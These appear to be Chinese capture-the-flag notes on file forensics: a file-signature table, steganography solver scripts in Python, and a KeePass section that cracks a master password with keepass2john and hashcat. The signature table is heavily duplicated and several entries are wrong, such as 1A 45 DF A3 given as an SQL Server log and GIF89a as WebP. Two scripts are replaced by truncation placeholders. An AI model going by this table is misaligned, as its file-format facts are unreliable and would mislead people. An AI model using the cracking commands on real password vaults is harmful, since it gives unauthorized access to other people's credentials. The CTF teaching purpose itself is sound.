| 4D 4D 00 2A 00 00 00 08 00 0B 01 0F | MM␀*␀␀␀␈␀ ␁ | 0 | tif | TIFF 图像 |
| 4D 5A | MZ | 0 | exe | Windows 可执行文件(DOS MZ 格式) |
| 5A 4D | ZM | 0 | exe | Windows 可执行文件(新版 DOS MZ 格式) |
| 00 00 01 00 | ␀␀␁␀ | 0 | eot | 嵌入式 OpenType 字体 |
| 7F 45 4C 46 | ␡ELF | 0 | elf | 可执行和链接格式 (ELF) 文件 |
| 00 01 00 00 | ␀␁␀␀ | 0 | wmf | Windows 图形元文件 |
| 3C 3F 78 6D 6C 20 | <?xml␠ | 0 | xml | XML 文档 |
| 25 21 50 53 2D 41 64 6F 62 65 2D 33 | %!PS-Adobe-3 | 0 | ps | PostScript 文档 |
| 1F 8B | ␟⸏ | 0 | gz | Gzip 压缩文件 |
| 42 5A 68 39 | BZh9 | 0 | bz2 | Bzip2 压缩文件 |
| 78 9C | x⸟ | 0 | zlib | zlib 压缩数据流 |
| FD 37 7A 58 5A 00 00 | ý7zXZ␀␀ | 0 | 7z | 7-Zip 压缩文件 |
| 37 7A BC AF 27 1C | 7z¼¯'␟ | 0 | 7z | 7-Zip 压缩文件(较早版本) |
| 04 22 4D 18 | ␄"M␘ | 0 | lz4 | LZ4 压缩文件 |
| 1A 45 DF A3 | Eߣ | 0 | ldf | SQL Server 日志文件 |
| 4C 41 49 52 | LAIR | 0 | lair | Lair 录音文件 |
| 4D 41 52 31 | MAR1 | 0 | mar | Mozilla 存档 |
| 50 4B 03 04 | PK␃␄ | 0 | xpi | Mozilla 扩展或附加组件 |
| 43 6F 6E 64 69 74 69 6F 6E 73 20 20 20 20 20 20 20 20 | Conditions␠␠␠␠␠␠␠␠␠ | 0 | conds | Windows 网络条件文件 |
| 23 21 41 4D 52 00 | #!AMR␀ | 0 | amr | AMR 音频文件 |
| 4D 54 68 64 | MThd | 0 | mid | MIDI 音乐文件 |
| 52 49 46 46 | RIFF | 0 | wav | WAV 音频文件 |
| 49 44 33 03 | ID3␃ | 0 | mp3 | MP3 音频文件 |
| 00 01 00 00 00 00 10 00 00 02 00 00 | ␀␁␀␀␀␀␐␀␀␂␀␀ | 0 | icns | Apple 图标文件 |
| 46 4F 52 4D 00 00 00 00 | FORM␀␀␀␀ | 0 | aiff | AIFF 音频文件 |
| 52 4E 4D 53 | RNMS | 0 | nes | NES ROM 图像 |
| 53 45 51 36 | SEQ6 | 0 | seq | Sierra 字体资源文件 |
| 4E 45 53 1A | NES␚ | 0 | nes | NES ROM 映像 |
| 49 4D 41 20 | IMA␠ | 0 | ima | IMA 音频文件 |
| 66 4C 61 43 | fLaC | 0 | flac | FLAC 音频文件 |
| 52 49 46 46 | RIFF | 0 | webp | WebP 图像 |
| 47 49 46 38 39 61 | GIF89a | 0 | webp | WebP 图像 |
| 50 41 4B 20 | PAK␠ | 0 | pak | Quake PAK 文件 |
| 1A 45 DF A3 | Eߣ | 0 | ldf | SQL Server 日志文件 |
| 30 30 00 00 | 00␠␠␀␀ | 0 | jis | JIS 文字文件 |
| 4F 53 2F 32 | OS/2 | 0 | bmp | OS/2 位图文件 |
| 4F 53 2F 32 | OS/2 | 0 | os2 | OS/2 位图文件 |
| 4F 53 2F 32 | OS/2 | 0 | ras | OS/2 位图文件 |
| 0A 0D 0D 0A | ␊␍␍␊ | 0 | netcdf | NetCDF 文件 |
| 44 42 46 48 | DBFH | 0 | dbf | dBASE II 文件 |
| 50 53 46 1A | PSF␚ | 0 | psf | PSF 字体文件 |
| 4C 4E 02 00 | LN␂␀␀ | 0 | lnt | Microsoft Linker 大纲文件 |
| 7B 5C 72 74 66 31 | {\rtf1 | 0 | rtf | 富文本格式 (RTF) 文档 |
| 46 4C 56 01 | FLV␁ | 0 | flv | Flash 视频文件 |
| 57 41 56 45 66 6F 72 6D 61 74 20 33 | WAVEform␠3 | 0 | wav | WAV 音频文件 |
| 57 41 56 45 66 6F 72 6D 61 74 20 33 | WAVEform␠3 | 0 | webm | WebM 视频文件 |
| 57 45 42 4D | WEBM | 0 | webm | WebM 视频文件 |
| 44 45 58 01 | DEX␁ | 0 | dex | Dalvik 可执行文件 |
| 30 33 35 00 | 035␀ | 0 | elf | ELF 可执行文件 |
| 57 69 6E 64 6F 77 73 20 33 2E 31 00 | Windows␠3.1␀ | 0 | exe | Windows 可执行文件 |
| 25 21 50 53 2D 41 64 6F 62 65 2D 33 | %!PS-Adobe-3 | 0 | ps | PostScript 文档 |
| 49 44 33 03 | ID3␃ | 0 | mp3 | MP3 音频文件 |
| 4D 54 68 64 | MThd | 0 | mid | MIDI 音乐文件 |
| 52 49 46 46 | RIFF | 0 | wav | WAV 音频文件 |
| 4F 53 2F 32 | OS/2 | 0 | bmp | OS/2 位图文件 |
| 4F 53 2F 32 | OS/2 | 0 | os2 | OS/2 位图文件 |
| 4F 53 2F 32 | OS/2 | 0 | ras | OS/2 位图文件 |
| 0A 0D 0D 0A | ␊␍␍␊ | 0 | netcdf | NetCDF 文件 |
| 44 42 46 48 | DBFH | 0 | dbf | dBASE II 文件 |
| 50 53 46 1A | PSF␚ | 0 | psf | PSF 字体文件 |
| 4C 4E 02 00 | LN␂␀␀ | 0 | lnt | Microsoft Linker 大纲文件 |
| 7B 5C 72 74 66 31 | {\rtf1 | 0 | rtf | 富文本格式 (RTF) 文档 |
| 46 4C 56 01 | FLV␁ | 0 | flv | Flash 视频文件 |
| 57 41 56 45 66 6F 72 6D 61 74 20 33 | WAVEform␠3 | 0 | wav | WAV 音频文件 |
| 57 41 56 45 66 6F 72 6D 61 74 20 33 | WAVEform␠3 | 0 | webm | WebM 视频文件 |
| 57 45 42 4D | WEBM | 0 | webm | WebM 视频文件 |
| 44 45 58 01 | DEX␁ | 0 | dex | Dalvik 可执行文件 |
| 30 33 35 00 | 035␀ | 0 | elf | ELF 可执行文件 |
| 57 69 6E 64 6F 77 73 20 33 2E 31 00 | Windows␠3.1␀ | 0 | exe | Windows 可执行文件 |

文件操作

工具篇

010 Editor

Python

命令篇

file

strings

binwalk

stegsolve


Hc Misc File Sign (`docs/hc-misc/file_sign.md`)

File signatures

Hex 签名 ISO 8859-1 偏移 扩展名 描述
23 21 #! 0 用于传递给紧随其后的 shebang(#!)之后的程序的脚本或数据
00 00 02 00 06 04 06 00 08 00 00 00 00 00 .............. 0 wk1 Lotus 1-2-3 电子表格(版本1)文件
00 00 1A 00 00 10 04 00 00 00 00 00 .............. 0 wk3 Lotus 1-2-3 电子表格(版本3)文件
00 00 1A 00 02 10 04 00 00 00 00 00 .............. 0 wk4 wk5
00 00 1A 00 05 10 04 ........ 0 123 Lotus 1-2-3 电子表格(版本9)文件
00 00 03 F3 .... 0 Amiga Hunk 可执行文件
00 00 49 49 58 50 52 (小端) ..IIXPR 0 qxd Quark Express 文档
00 00 4D 4D 58 50 52 (大端) ..MMXPR 0 qxd Quark Express 文档
50 57 53 33 PWS3 0 psafe3 Password Gorilla 密码数据库
D4 C3 B2 A1 (小端) Ôò¡ 0 pcap Libpcap 文件格式
A1 B2 C3 D4 (大端) ¡²ÃÔ 0 pcap Libpcap 文件格式(纳秒分辨率)
0A 0D 0D 0A ␊␍␍␊ 0 pcapng PCAP Next Generation 转储文件格式
ED AB EE DB í«îÛ 0 rpm RedHat Package Manager (RPM) 包
53 51 4C 69 74 65 20 66 6F 72 6D 61 74 20 33 00 SQLite format 3␀ 0 sqlitedb SQLite 数据库
53 50 30 31 SP01 0 bin Amazon Kindle 更新包
49 57 41 44 IWAD 0 wad Doom 的主要资源文件
00 ␀ 0 PIC IBM Storyboard 位图文件Windows 程序信息文件Mac Stuffit 自解压缩存档IRIS OCR 数据文件
00 00 00 00 00 00 00 00 ␀␀␀␀␀␀␀␀ 11 PDB PalmPilot 数据库/文档文件
BE BA FE CA ¾ºþÊ 0 DBA Palm Desktop 日历存档
00 01 42 44 ␀␁BD 0 DBA Palm Desktop 待办事项存档
00 01 44 54 ␀␁DT 0 TDA Palm Desktop 日历存档
54 44 46 24 TDF$ 0 TDF$ Telegram Desktop 文件
54 46 58 44 TFXD 0 tfxd Telegram Desktop 文件
30 31 4F 52 01OR 0 or1 Oracle 7.3 数据库
FD FF FF FF ýÿÿÿ 0 db SQLite 3 数据库
4D 53 46 54 02 MSFT␂ 512 MSFT Compound 文件文档
00 01 00 00 00 03 00 00 ␀␁␀␀␀␃␀␀ 0 ndif Apple 包括对称差异(Binary II)文件
4F 52 43 01 ORC␁ 0 orc Oracle 数据库
1A 45 DF A3 Eߣ 0 ldf SQL Server 日志文件
50 4B 03 04 PK␃␄ 0 zip ZIP 压缩文件
50 4B 05 06 PK␅␆ 0 zip ZIP 压缩文件(带数据描述符)
50 4B 07 08 PK␇␈ 0 zip ZIP 压缩文件(带 64 位结束头)
50 4B 4C 49 54 45 PKLITE 0 zlite PKLITE 压缩文件
FF 57 50 43 07 10 00 03 00 00 00 00 WPC◇␀␃␀␀␀␀ 0 wcp WordPerfect 文档
FF 57 50 43 07 20 00 03 00 00 00 00 WPC◠␀␃␀␀␀␀ 0 wcp WordPerfect 文档
FF 57 50 43 07 40 00 03 00 00 00 00 WPC◐␀␃␀␀␀␀ 0 wcp WordPerfect 文档
FF 57 50 43 07 80 00 03 00 00 00 00 WPC◘␀␃␀␀␀␀ 0 wcp WordPerfect 文档
46 4C 56 01 FLV␁ 0 flv Flash 视频文件
E2 68 6E 6F âhno 0 nomedia Android 无媒体文件(.nomedia)
38 42 50 53 8BPS 0 psd Adobe Photoshop 文档
47 49 46 38 39 61 GIF89a 0 gif GIF 图像
FF D8 FF E0 Øÿà 0 jpeg JPEG 图像
FF D8 FF E1 Øÿá 0 jpeg JPEG 图像(Exif 格式)
42 4D BM 0 bmp BMP 图像
89 50 4E 47 0D 0A 1A 0A ‰PNG␍␊␊ 0 png PNG 图像
47 49 46 38 37 61 GIF87a 0 gif GIF 图像
FF D8 FF E8 Øÿè 0 jpeg JPEG 图像(SPIFF 格式)
4D 4D 00 2A MM␀* 0 tif TIFF 图像
49 49 2A 00 II*␀ 0 tif TIFF 图像
42 41 4D 53 BAM$ 0 bam Wayback Machine 存档文件
21 3C 61 72 63 68 3E 0A 64 6F 63 74 79 70 65 20 <!arch>␊doctype␠ 0 HTML 文档
23 44 4F 43 #DOC 0 doc WordPerfect 文档
50 4B 03 04 PK␃␄ 0 jar Java 存档文件
FF D8 FF E0 00 10 4A 46 49 46 00 01 Øÿà␀␑JFIF␀␁ 0 jpg JPEG 图像
FF D8 FF E1 00 60 45 78 69 66 00 00 Øÿá␀`Exif␀␀ 0 jpg JPEG 图像(Exif 格式)
FF D8 FF E1 4C 45 56 45 4C 00 00 00 ØÿáLEVEL␀␀␀ 0 jpg JPEG 图像(Exif 格式,带 GPS 数据)
FF D8 FF E1 41 53 43 49 49 00 00 00 ØÿáASCII␀␀␀ 0 jpg JPEG 图像(Exif 格式,Adobe APP14 标记)
FF D8 FF E1 45 78 69 66 00 00 00 00 ØÿáExif␀␀␀␀ 0 jpg JPEG 图像(Exif 格式,没有 TIFF 标记)
47 49 46 38 39 61 GIF89a 0 gif GIF 图像
FF D8 FF E0 00 10 4A 46 49 46 00 01 Øÿà␀␑JFIF␀␁ 0 jpeg JPEG 图像
FF D8 FF E1 00 60 45 78 69 66 00 00 Øÿá␀`Exif␀␀ 0 jpeg JPEG 图像(Exif 格式)
FF D8 FF E1 4C 45 56 45 4C 00 00 00 ØÿáLEVEL␀␀␀ 0 jpeg JPEG 图像(Exif 格式,带 GPS 数据)
FF D8 FF E1 41 53 43 49 49 00 00 00 ØÿáASCII␀␀␀ 0 jpeg JPEG 图像(Exif 格式,Adobe APP14 标记)
FF D8 FF E1 45 78 69 66 00 00 00 00 ØÿáExif␀␀␀␀ 0 jpeg JPEG 图像(Exif 格式,没有 TIFF 标记)
FF D8 FF E0 00 10 4A 46 49 46 00 01 Øÿà␀␑JFIF␀␁ 0 jpeg JPEG 图像
FF D8 FF E1 00 60 45 78 69 66 00 00 Øÿá␀`Exif␀␀ 0 jpeg JPEG 图像(Exif 格式)
FF D8 FF E1 4C 45 56 45 4C 00 00 00 ØÿáLEVEL␀␀␀ 0 jpeg JPEG 图像(Exif 格式,带 GPS 数据)
FF D8 FF E1 41 53 43 49 49 00 00 00 ØÿáASCII␀␀␀ 0 jpeg JPEG 图像(Exif 格式,Adobe APP14 标记)
FF D8 FF E1 45 78 69 66 00 00 00 00 ØÿáExif␀␀␀␀ 0 jpeg JPEG 图像(Exif 格式,没有 TIFF 标记)
FF D8 FF E0 00 10 4A 46 49 46 00 01 Øÿà␀␑JFIF␀␁ 0 jpeg JPEG 图像
FF D8 FF E1 00 60 45 78 69 66 00 00 Øÿá␀`Exif␀␀ 0 jpeg JPEG 图像(Exif 格式)
FF D8 FF E1 4C 45 56 45 4C 00 00 00 ØÿáLEVEL␀␀␀ 0 jpeg JPEG 图像(Exif 格式,带 GPS 数据)
FF D8 FF E1 41 53 43 49 49 00 00 00 ØÿáASCII␀␀␀ 0 jpeg JPEG 图像(Exif 格式,Adobe APP14 标记)
FF D8 FF E1 45 78 69 66 00 00 00 00 ØÿáExif␀␀␀␀ 0 jpeg JPEG 图像(Exif 格式,没有 TIFF 标记)
49 49 2A 00 10 00 00 00 01 00 02 00 II*␀␐␀␀␀␁␀␂␀ 0 tif TIFF 图像
4D 4D 00 2A 00 00 00 08 00 0B 01 0F MM␀*␀␀␀␈␀ ␁ 0 tif TIFF 图像
49 49 2A 00 10 00 00 00 02 00 03 00 II*␀␐␀␀␀␀␀ 0 tif TIFF 图像
4D 4D 00 2A 00 00 00 08 00 0B 01 0F MM␀*␀␀␀␈␀ ␁ 0 tif TIFF 图像
4D 5A MZ 0 exe Windows 可执行文件(DOS MZ 格式)
5A 4D ZM 0 exe Windows 可执行文件(新版 DOS MZ 格式)
00 00 01 00 ␀␀␁␀ 0 eot 嵌入式 OpenType 字体
7F 45 4C 46 ␡ELF 0 elf 可执行和链接格式 (ELF) 文件
00 01 00 00 ␀␁␀␀ 0 wmf Windows 图形元文件
3C 3F 78 6D 6C 20 <?xml␠ 0 xml XML 文档
25 21 50 53 2D 41 64 6F 62 65 2D 33 %!PS-Adobe-3 0 ps PostScript 文档
1F 8B ␟⸏ 0 gz Gzip 压缩文件
42 5A 68 39 BZh9 0 bz2 Bzip2 压缩文件
78 9C x⸟ 0 zlib zlib 压缩数据流
FD 37 7A 58 5A 00 00 ý7zXZ␀␀ 0 7z 7-Zip 压缩文件
37 7A BC AF 27 1C 7z¼¯'␟ 0 7z 7-Zip 压缩文件(较早版本)
04 22 4D 18 ␄"M␘ 0 lz4 LZ4 压缩文件
1A 45 DF A3 Eߣ 0 ldf SQL Server 日志文件
4C 41 49 52 LAIR 0 lair Lair 录音文件
4D 41 52 31 MAR1 0 mar Mozilla 存档
50 4B 03 04 PK␃␄ 0 xpi Mozilla 扩展或附加组件
43 6F 6E 64 69 74 69 6F 6E 73 20 20 20 20 20 20 20 20 Conditions␠␠␠␠␠␠␠␠␠ 0 conds Windows 网络条件文件
23 21 41 4D 52 00 #!AMR␀ 0 amr AMR 音频文件
4D 54 68 64 MThd 0 mid MIDI 音乐文件
52 49 46 46 RIFF 0 wav WAV 音频文件
49 44 33 03 ID3␃ 0 mp3 MP3 音频文件
00 01 00 00 00 00 10 00 00 02 00 00 ␀␁␀␀␀␀␐␀␀␂␀␀ 0 icns Apple 图标文件
46 4F 52 4D 00 00 00 00 FORM␀␀␀␀ 0 aiff AIFF 音频文件
52 4E 4D 53 RNMS 0 nes NES ROM 图像
53 45 51 36 SEQ6 0 seq Sierra 字体资源文件
4E 45 53 1A NES␚ 0 nes NES ROM 映像
49 4D 41 20 IMA␠ 0 ima IMA 音频文件
66 4C 61 43 fLaC 0 flac FLAC 音频文件
52 49 46 46 RIFF 0 webp WebP 图像
47 49 46 38 39 61 GIF89a 0 webp WebP 图像
50 41 4B 20 PAK␠ 0 pak Quake PAK 文件
1A 45 DF A3 Eߣ 0 ldf SQL Server 日志文件
30 30 00 00 00␠␠␀␀ 0 jis JIS 文字文件
4F 53 2F 32 OS/2 0 bmp OS/2 位图文件
4F 53 2F 32 OS/2 0 os2 OS/2 位图文件
4F 53 2F 32 OS/2 0 ras OS/2 位图文件
0A 0D 0D 0A ␊␍␍␊ 0 netcdf NetCDF 文件
44 42 46 48 DBFH 0 dbf dBASE II 文件
50 53 46 1A PSF␚ 0 psf PSF 字体文件
4C 4E 02 00 LN␂␀␀ 0 lnt Microsoft Linker 大纲文件
7B 5C 72 74 66 31 {\rtf1 0 rtf 富文本格式 (RTF) 文档
46 4C 56 01 FLV␁ 0 flv Flash 视频文件
57 41 56 45 66 6F 72 6D 61 74 20 33 WAVEform␠3 0 wav WAV 音频文件
57 41 56 45 66 6F 72 6D 61 74 20 33 WAVEform␠3 0 webm WebM 视频文件
57 45 42 4D WEBM 0 webm WebM 视频文件
44 45 58 01 DEX␁ 0 dex Dalvik 可执行文件
30 33 35 00 035␀ 0 elf ELF 可执行文件
57 69 6E 64 6F 77 73 20 33 2E 31 00 Windows␠3.1␀ 0 exe Windows 可执行文件
25 21 50 53 2D 41 64 6F 62 65 2D 33 %!PS-Adobe-3 0 ps PostScript 文档
49 44 33 03 ID3␃ 0 mp3 MP3 音频文件
4D 54 68 64 MThd 0 mid MIDI 音乐文件
52 49 46 46 RIFF 0 wav WAV 音频文件
4F 53 2F 32 OS/2 0 bmp OS/2 位图文件
4F 53 2F 32 OS/2 0 os2 OS/2 位图文件
4F 53 2F 32 OS/2 0 ras OS/2 位图文件
0A 0D 0D 0A ␊␍␍␊ 0 netcdf NetCDF 文件
44 42 46 48 DBFH 0 dbf dBASE II 文件
50 53 46 1A PSF␚ 0 psf PSF 字体文件
4C 4E 02 00 LN␂␀␀ 0 lnt Microsoft Linker 大纲文件
7B 5C 72 74 66 31 {\rtf1 0 rtf 富文本格式 (RTF) 文档
46 4C 56 01 FLV␁ 0 flv Flash 视频文件
57 41 56 45 66 6F 72 6D 61 74 20 33 WAVEform␠3 0 wav WAV 音频文件
57 45 42 4D WEBM 0 webm WebM 视频文件
44 45 58 01 DEX␁ 0 dex Dalvik 可执行文件
30 33 35 00 035␀ 0 elf ELF 可执行文件
57 69 6E 64 6F 77 73 20 33 2E 31 00 Windows␠3.1␀ 0 exe Windows 可执行文件

Hc Misc File Stego (`docs/hc-misc/file_stego.md`)


comments: true


文件隐写

文件内容

这类题算是比赛容易弱化难度的题目类型

比赛方可能会给你各种各样的文件

你需要将文件使用文件编辑器(如常见的记事本,也可以使用十六进制编辑器等等)打开

这同样也是很多复杂题的第一步

从文件的十六进制数据中找出线索

下载文件后用 txt 形式打开(推荐 VS Code)

成功拿到 flag

字频统计

前面步骤是 ForeMost 分离加解压密码爆破

爆破后拿到一个 txt 包含大量无特征、无规律的重复字符

编写脚本拿到 flag

python
import re
from collections import Counter

def count_letters(filename):
    """计算并返回文件中每个字母的出现次数"""
    try:
        with open(filename, 'r', encoding='utf-8') as file:
            # 读取文件内容并转换为小写
            text = file.read().lower()
            
            # 使用正则表达式匹配字母
            letters = re.findall(r'[a-z]', text)
            
            # 计数每个字母的出现次数
            letter_count = Counter(letters)
            
            return letter_count
        
    except FileNotFoundError:
        print(f"文件 {filename} 未找到。")
        
        return None


def display_top_letters(letter_count, top_n):
    """显示出现次数最多的 top_n 个字母及其计数"""
    if letter_count:
        top_letters = letter_count.most_common(top_n)
        
        for letter, count in top_letters:
            print(f"'{letter}' 出现了 {count} 次")


def main():
    # 指定文件名
    filename = '1.txt'
    
    letter_count = count_letters(filename)
    
    if letter_count:
        # 你可以修改这个值来显示更多或更少的字母
        top_n = 20
        
        display_top_letters(letter_count, top_n)


if __name__ == '__main__':
    main()

TTL

打开文件只有 63、255、127、191 四种数值

这四位数只有前两位不同

提取出来写入文件中

python
import binascii


def decode_file(input_file, output_file):
    try:
        # 读取文件并将每行转换为整数列表
        with open(input_file, 'r') as fp:
            p = list(map(int, fp.readlines()))

        # 构建二进制字符串
        binary_string = ''.join(
            '00' if i == 63 else
            '01' if i == 127 else
            '10' if i == 191 else
            '11' for i in p
        )

        # 将二进制字符串分成每8位并转换为字符
        flag = ''.join(chr(int(binary_string[i:i + 8], 2)) for i in range(0, len(binary_string), 8))

        # 解码并写入输出文件
        with open(output_file, 'wb') as wp:
            wp.write(binascii.unhexlify(flag))

        print(f"文件成功解码并保存为 {output_file}")

    except FileNotFoundError:
        print(f"文件 {input_file} 未找到。")
    except Exception as e:
        print(f"发生错误: {e}")


def main():
    decode_file('attachment.txt', 'ans.zip')


if __name__ == '__main__':
    main()

打开压缩包最后是 Base64 套娃

零宽字符

VS Code 打开文件发现很多零宽字符

解码拿到 flag

文件异或

打开文件发现大多数十六进制数据是 A1

推测被做了异或处理

一个数值连续异或两次同一个数值则结果不变

异或回去是个音频文件,打开听 flag 就行

Pickle 序列化

FFD9 结尾后的数据就是要序列化的内容

在 Python 中,Pickle 是一个模块,用于将 Python 对象序列化(转换为字节流)和反序列化(从字节流恢复为 Python 对象)

我这里把两段代码写一起了,可以去掉格式化的代码查看数据内容会发现是坐标

python
import pickle


def load_pickle_data(file_path):
    """加载 pickle 文件并返回数据"""
    with open(file_path, "rb") as fp:
        return pickle.load(fp)


def write_to_file(file_path, data):
    """将数据写入文件"""
    with open(file_path, 'w') as fw:
        fw.write(str(data))


def process_text(text):
    """处理文本并根据特定规则格式化输出"""
    i = 0
    a = 0

    while i < len(text):
        if text[i] == ']':
            print('\n')
            
            a = 0
            
        elif text[i] == '(':
            if text[i + 2] == ',':
                b = int(text[i + 1]) - a
                
                d = text[i + 1]
                
                print(" " * b, end="")
                
                print(text[i + 5], end="")
                
                a = int(d)
                
            else:
                b = int(text[i + 1] + text[i + 2]) - a
                
                d = text[i + 1] + text[i + 2]
                
                print(" " * b, end="")
                
                print(text[i + 6], end="")
                
                a = int(d)
                
        i += 1


def main():
    # 加载 pickle 数据
    a = load_pickle_data("123.txt")

    # 将数据写入到文件
    write_to_file("pickle.txt", a)

    # 读取文件并处理
    with open("pickle.txt", "r") as fw:
        text = fw.read()

    # 处理文本内容
    process_text(text)


if __name__ == "__main__":
    main()

拿到 flag

PYC 或 PYO

拿到文件先改个名吧,检测是 pyc 文件

在 Python 中,.pyc 文件是 Python Compiled File(Python 编译文件)的扩展名。当 Python 脚本(.py 文件)被执行时,Python 会将其源代码编译成字节码,并将字节码存储为 .pyc 文件。字节码是 Python 代码的低级表示,它是 Python 虚拟机(PVM)能够理解和执行的格式

在 WinHex 中发现隐藏文件

使用常见的工具 stegosaurus 提取隐写

Word 文字

修改文字颜色就行了

Base64

下载附件后使用工具破解其伪加密

隐写信息藏在 Base64 填充部分(=的位置):

  • 当原始数据长度 不是3的倍数 时,Base64编码末尾会有=填充(1或2个)
  • 这些=的位置对应的 最后几个有效 Base64 字符 可以被修改而不影响解码结果
  • 脚本通过比较 原始 Base64 和 重新编码后的 Base64 的差异来提取隐藏信息

解题思路:

  1. 读取文件
    逐行读取stego.txt中的 Base64 字符串(每行可能包含隐写数据)。

  2. 解码再重新编码

    • 先解码该行 Base64 得到原始数据
    • 再将原始数据重新编码为标准的 Base64
    • 此时,重新编码的结果会和原始行有细微差异(如果存在隐写)
  3. 计算偏移量(关键步骤)

    • 找到原始行和重新编码后行的最后一个非=字符

    • 比较这两个字符在B64CHARS中的索引差值(offset)

      python
      offset = abs(B64CHARS.index(steg_char) - B64CHARS.index(row_char))
  4. 转换为二进制

    • 根据该行=的数量(equalnum),将offset转为二进制:

      • 1个= → 2位二进制(因为=对应最后 2 个隐藏位)
      • 2个= → 4位二进制(对应最后 4 个隐藏位)
      python
      bin_str += f"{offset:0{equalnum * 2}b}"  # 补零到指定位数
  5. 输出隐藏信息

    • 每当bin_str累积够 8 位时,转换为 ASCII 字符并输出
python
import base64

B64CHARS = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'

def decode_b64_stego(filename):
    bin_str = ''
    with open(filename, 'rb') as f:
        for line in f:
            stegb64 = line.decode('utf-8').strip()
            try:
                decoded = base64.b64decode(stegb64)
                rowb64 = base64.b64encode(decoded).decode('utf-8').strip()
                
                steg_char = stegb64.rstrip('=')[-1]
                row_char = rowb64.rstrip('=')[-1]
                
                offset = abs(B64CHARS.index(steg_char) - B64CHARS.index(row_char))
                equalnum = stegb64.count('=')
                
                if equalnum:
                    bin_str += f"{offset:0{equalnum * 2}b}"
                
                # 实时解码并输出,每次换行
                message = ''
                for i in range(0, len(bin_str), 8):
                    if i + 8 <= len(bin_str):
                        message += chr(int(bin_str[i:i+8], 2))
                print(message)  # 每次输出后自动换行
                
            except Exception as e:
                print(f"Error processing line: {e}")

if __name__ == '__main__':
    decode_b64_stego('stego.txt')

文件二进制图像化

下载附件放入 010 中找到一串 Base64 编码

解密提示 01 二进制

将其转为二进制形式

原来是用 01 二进制画了个图

text
CatCTF{CAT_GOES_MEOW}

.rock

下载附件给了 .rock 文件

去 GitHub 上下载转换工具将其转为 Python 代码

python
pip install rockstar-py

转换

shell
rockstar-py -i Become_a_Rockstar.rock -o res.py

运行 res.py 多按几下回车拿到 flag

文件属性

查看文件属性即可

XORTools

打开文件全是数据且文件头尾不和任何类型的文件头尾有相似的文件都是文件数据被异或加密了

下载工具 Xortools 解密

python
pip3 install xortool

解密这里有问题,应该是 GoodLuckToYou

使用脚本解密

python
key = 'GoodLuckToYou'
flag = ''

with open('1') as f:
    con = f.read()
    for i in range(len(con)):
        flag += chr(ord(con[i]) ^ ord(key[i%13]))
        
f = open('flag.txt', 'w')
f.write(flag)
f.close()

题目附件给了一个后缀为 .pyc 文件,010 打开仔细查看数据,发现有倒置的 flag1 和 flag2

因此我们写个 python 脚本将数据倒置回来

然后 foremost 一下可以得到一个伪加密的压缩包

压缩包的注释中有 flag1 和 flag2

去除伪加密后解压可以得到一个 Dream It Possible.mp3

这里需要使用 DeEgger Embedder 提取出隐藏的数据

用上面那个工具可以提取出一大串 base32 编码的字符串,直接解码发现没有得到什么有用的信息

尝试 base32 隐写解密

python
import base64

def get_base32_diff_value(stego_line, normal_line):
    base32chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
    for i in range(len(normal_line)):
        if stego_line[i] != normal_line[i]:
            return abs(base32chars.index(chr(stego_line[i]))-base32chars.index(chr(normal_line[i])))
    return 0

# base32 隐写解密
def base32stego_decode(lines):
    res = ''
    for i in lines:
        stego_line = i.strip()
        normal_line = base64.b32encode(base64.b32decode(i.strip()))
        diff = get_base32_diff_value(stego_line, normal_line)
        if '=' not in str(stego_line):
            continue
        if diff:
            res += bin(diff)[2:]
        else:
            res += '0'
    return res

with open("Dream It Possible - extracted.txt", 'rb') as f:
    file_lines = f.readlines()
en=open("encrypt.txt","w")
en.write(base32stego_decode(file_lines))
en.close()

提取 base32 隐写的数据可以得到一大串二进制的字符,这里还不知道具体干啥用,转图片也没有发现有用的信息

因此我们回头分析那个 pyc 文件,直接使用 uncompyle6 就可以反编译出原来的 Python 源码

python
# uncompyle6 version 3.9.1
# Python bytecode version base 2.7 (62211)
# Decompiled from: Python 3.8.10 (tags/v3.8.10:3d8993a, May  3 2021, 11:48:03) [MSC v.1928 64 bit (AMD64)]
# Embedded file name: Fl4g.py
# Compiled at: 2017-07-02 00:15:33
from os import urandom

def generate(m, k):
    result = 0
    for i in bin(m ^ k)[2:]:
        result = result << 1
        if int(i):
            result = result ^ m ^ k
        if result >> 256:
            result = result ^ P

    return result


def encrypt(seed):
    key = int(urandom(32).encode('hex'), 16)
    while True:
        yield key
        key = generate(key, seed) + 233333333333L


def convert(string):
    return int(string.encode('hex'), 16)


P = 115792089237316195423570985008687907853269984665640564039457584007913129640997L
flag1 = 'ThIs_Fl4g_Is_Ri9ht'
flag2 = 'Hey_Fl4g_Is_Not_HeRe'
key = int(urandom(32).encode('hex'), 16)
data = open('data.txt', 'r').read()
result = encrypt(key)
encrypt1 = bin(int(data, 2) ^ eval('0x' + hex(result.next())[2:-1] * 22))[2:]
encrypt2 = hex(convert(flag1) ^ result.next())[2:-1]
encrypt3 = hex(convert(flag2) ^ result.next())[2:-1]
print 'flag1:', encrypt2
print 'flag2:', encrypt3
f = open('encrypt.txt', 'w')
f.write(encrypt1)
f.close()

# okay decompiling .\reverse_1_PyHaHa.pyc

由上述代码可知我们之前得到的二进制数据应该就是上述代码中的 encrypt.txt

因此我们写一个 Python 脚本去还原出原来的数据,具体脚本如下:

text
/* Detailed source-code truncated for AI context efficiency. */

.lnk

放入 010 中显示 .lnk 后缀

cmd 运行直接报错

但是生成了一个 flag 文件

按路径打开拿到 flag

隐藏文件

新手题,在 Windows 中勾选查看隐藏文件即可

进入 .ThePassword 目录拿到密码

打开 PDF 输入密码

拿到 flag

.kdbx(Key)

下载文件后先把后缀名 .zip 补上,再解压缩

.kdbx 文件需要 keepass 打开,打开发现需要密码

keepass2john 是 John The Ripper(简称 JtR)自带的辅助工具

用于把 KeePass 密码库(.kdbx 文件)转换为 John the Ripper 可识别的哈希格式

从而可以使用暴力破解(如字典攻击、规则攻击等)去破解主密码

sh
keepass2john '/home/kali/len5.kdbx'

删掉开头的 len5:

使用工具 HashCat 爆破

sh
hashcat -m 13400 keepass.hash  -a 0 password.txt  --force
# m:破解的 hash类型,hashcat -h 何查看类型
# a:爆破的方法,0 表示字典爆破
# force:不报错

得到密码 13152,打开文件得到压缩包的密码

解压得到两个文件

hint.txt 是零宽隐写,得到 22*160

这里涉及到 塔珀自指公式(Tupper's self-referential formula) 知识点,但默认的 online decode 标准是 17*106 的

参考提示写脚本重新绘图

text
/* Detailed source-code truncated for AI context efficiency. */

运行结果得到三个数 33、121、144

text
